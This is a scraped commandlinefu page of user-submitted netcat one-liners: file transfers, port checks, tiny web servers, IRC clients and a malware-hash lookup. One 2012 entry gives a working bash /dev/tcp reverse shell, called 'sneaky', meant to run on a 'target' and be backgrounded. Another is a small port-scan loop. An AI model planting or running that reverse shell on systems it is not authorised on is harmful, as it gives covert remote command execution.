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May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
I'm Jon, I'll be maintaining and improving clfu. Thanks to David for building such a great resource!

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Maintained by Jon H.

Site originally by David Winterbottom (user root).

Psst. Open beta.

Wow, didn't really expect you to read this far down. The latest iteration of the site is in open beta. It's a gentle open beta-- not in prime-time just yet. It's being hosted over at UpGuard (link) and you are more than welcome to give it a shot. Couple things:

  • » The open beta is running a copy of the database that will not carry over to the final version. Don't post anything you don't mind losing.
  • » If you wish to use your user account, you will probably need to reset your password.
Your feedback is appreciated via the form on the beta page. Thanks! -Jon & CLFU Team

Commands tagged netcat from sorted by
Terminal - Commands tagged netcat - 29 results
nik=clf$RANDOM;sr=irc.efnet.org;expect -c "set timeout -1;spawn nc $sr 6666;set send_human {.1 .2 1 .2 1};expect AUTH*\n ;send -h \"user $nik * * :$nik commandlinefu\nnick $nik\n\"; interact -o -re (PING.:)(.*\$) {send \"PONG :\$interact_out(2,string)\"}"
2015-03-18 09:10:28
User: omap7777

Uses the extremely cool utilities netcat and expect.

"expect" logs in & monitors for server PING checks.

When a PING is received it sends the PONG needed to stay connected.

IRC commands to try: HELP, TIME, MOTD, JOIN and PRIVMSG

The "/" in front of IRC commands are not needed, e.g. type JOIN #mygroup

Learn about expect: http://tldp.org/LDP/LGNET/issue48/fisher.html

The sample output shows snippets from an actual IRC session.

Please click UP button if you like it!

while true; do ps aux | sort -rk 3,3 | head -n 11 | cut -c -120 | netcat -l -p 8888 2>&1 >/dev/null; done &
2014-08-29 07:10:57
User: manumiu
Functions: cut head ps sort

If you want to see your top ten cpu using processes from the browser (e.g. you don't want to ssh into your server all the time for checking system load) you can run this command and browse to the machines ip on port 8888. For example

while true; do cat "file"; done | nc -v -l 1337
2014-02-06 03:02:58
User: bknk
Functions: cat

A TCP server that keeps the same socket open, sending the contents of "file" repeatedly.

nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?</p>"'
2013-11-12 14:00:11
User: gvitalie
Functions: echo

-k, --keep-open will keep connection alive, and we could exclude using 'while true'

nc is such a powerful command, it could be used instead of any OS! :p

echo -n 023135 | perl -pe 's/([0-9a-f]{2})/chr hex $1/gie' | nc -4u -q1 -p5001 2000
2013-09-18 14:31:47
User: sucotronic
Functions: echo perl

Use it to send raw data to a networked device. Used to interact with relay controller board whose documentation is lost, so use wireshark to sniff the sent data and replayed using the command.

wmr - | pv -s $SIZEOFMEM | ssh -p 40004 -c arcfour,blowfish-cbc -C root@savelocation.com "cat - > /forensics/T430-8gb-RAM1.dd"
2013-05-31 00:04:19
User: bhbmaster
Functions: ssh

wmr - | pv -s $SIZEOFMEM | ssh -p 40004 -c arcfour,blowfish-cbc -C root@savelocation.com "cat - > /forensics/T430-8gb-RAM1.dd"

Run above command from Windows Cygwin:

On Windows: Install Cygwin, and copy WMR (windows memory reader 1.0) memory diagnostic into cygwin\bin folder, also install cygwins netcat and ssh (openssh). I recommend installing apt-cyg and running "

On Linux: Have an SSH Server


WINDOWS: # wmr - | ssh root@savelocation.com "cat - > /tmp/FileToSave.dd"

For more details on how to extract information from memory dump:

apt-get install foremost

foremost -t all -T -i /forensics/T430-8gb-RAM1.dd

For more information:


exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
2012-11-16 02:48:01
User: somaddict
Functions: cat exec read

This is sneaky.

First, start a listening service on your box.

nc -l 8080 -vvv &

On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.

exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

You can send it to the background like this:

(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &

Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

nc -l $PORT | pv -b > archive.tar.bz2
2012-11-13 16:47:45
Tags: netcat tar pv

Receives bzip'd tar archive via netcat (openbsd nc) and stores locally. Displays size with pv. Start this receiver first, then the sender.

tar -cjf - $DIR | nc $HOST $PORT
2012-11-13 16:44:26
Functions: tar
Tags: netcat tar

Tar's up $DIR locally (w/bzip2) and sends remotely to $HOST:$PORT where netcat listens (using openbsd netcat). Start up receiving side command first, then execute this.

nc -zvw 1 host port
2012-07-13 20:02:17
User: akhilravidas
Functions: host
Tags: netcat

Try to perform a fully TCP 3 way handshake on for a given host-port with a timeout of 1s.

IFS=$'\n' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done
2011-10-15 03:38:47
User: Neo23x0
Functions: cut echo md5sum sed

Command makes use of the Malware Hash Registry (http://www.team-cymru.org/Services/MHR/).

It parses the current directory and subdirectories and calculates the md5 hash of the files, then prints the name and sends the hash to the MHR for a lookup in their database.

The 3rd value in the result is the detection percentage across a mix of AV packages.

while true ; do nc -l 80 < index.html ; done
2011-08-31 15:17:33
User: ztank1013
Functions: true

Very simple web server listening on port 80 will serve index.html file or whatever file you like pointing your browser at http://your-IP-address/index.html for example.

If your web server is down for maintenance and you'd like to inform your visitors about it, quickly and easily, you just have to put into the index.html file the right HTML code and you are done! Of course you need to be root to run the command using port 80.

fuser -n tcp -s <port> && echo "+open"
lsof -i :22
nc <ip> <port> -v
nc -l -p 7777 > /dev/null
2011-01-24 00:06:45
User: kerim

On the another machine write this command.

pv -r /dev/zero | nc 7777

It will show live throughput between two machine.The destination machine ip is at our example

You must multiply by 8 for the network calculation.

You must install pv and netcat commands for this commands usage.



echo -e "GET /ip HTTP/1.0\nUser-Agent: netcat\nHOST: ifconfig.me\n\n" | nc ifconfig.me 80 | sed -n '/^[0-9]/p'
2010-06-16 19:08:05
User: putnamhill
Functions: echo sed

Here's a version that uses netcat (although I'd much rather use curl!).

grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
nmap -p 80 hostname
nc -zw2 www.example.com 80 && echo open
2009-12-07 21:35:25
User: sputnick
Functions: echo
Tags: netcat nc

@putnamhill, no need if statement in that case.

&& is a AND and || is a OR

if (nc -zw2 www.example.com 80); then echo open; fi
gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }
2009-09-25 08:10:23
User: true
Functions: kill mkfifo rm tee

USAGE: gate listening_port host port

Creates listening socket and connects to remote device at host:port. It uses pipes for connection between two sockets. Traffic which goes through pipes is wrote to stdout. I use it for debug network scripts.

for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
2009-09-25 03:31:29
User: rez0r

Simple one-liner for scanning a range of hosts, you can also scan a range of ports with Netcat by ex.: nc -v -n -z -w 1 21-443

Useful when Nmap is not available:)

Range declaration like X..X "for i in {21..29}" is only works with bash 3.0+

nc $telnetserver 23 < $commandfile
2009-08-07 21:32:38
User: flokra

sends commands specified in $commandfile to the telnet-server specified by $telnetserver.

to have newlines in $commandfile interpreted as ENTER, save the file in CR+LF (aka "Windows-Textfile") format.

if you want to save the output in a separate file, use:

nc $telnetserver 23 < $commandfile > $resultfile
function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircname\nNICK $nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$line"; done < $tmp; } | nc $server > /dev/null ; rm $tmp; }
2009-06-11 22:14:48
User: Josay
Functions: cat echo read rm
Tags: netcat irc nc
command | my_irc

Pipe whatever you want to this function, it will, if everything goes well, be redirected to a channel or a user on an IRC server.

Please note that :

- I am not responsible of flood excesses you might provoke.

- that function does not reply to PINGs from the server. That's the reason why I first write in a temporary file. Indeed, I don't want to wait for inputs while being connected to the server. However, according to the configuration of the server and the length of your file, you may timeout before finishing.

- Concerning the server, the variable content must be on the form "irc.server.org 6667" (or any other port). If you want to make some tests, you can also create a fake IRC server on "localhost 55555" by using

netcat -l -p 55555

- Concerning the target, you can choose a channel (beginning with a '#' like "#chan") or a user (like "user")

- The other variables have obvious names.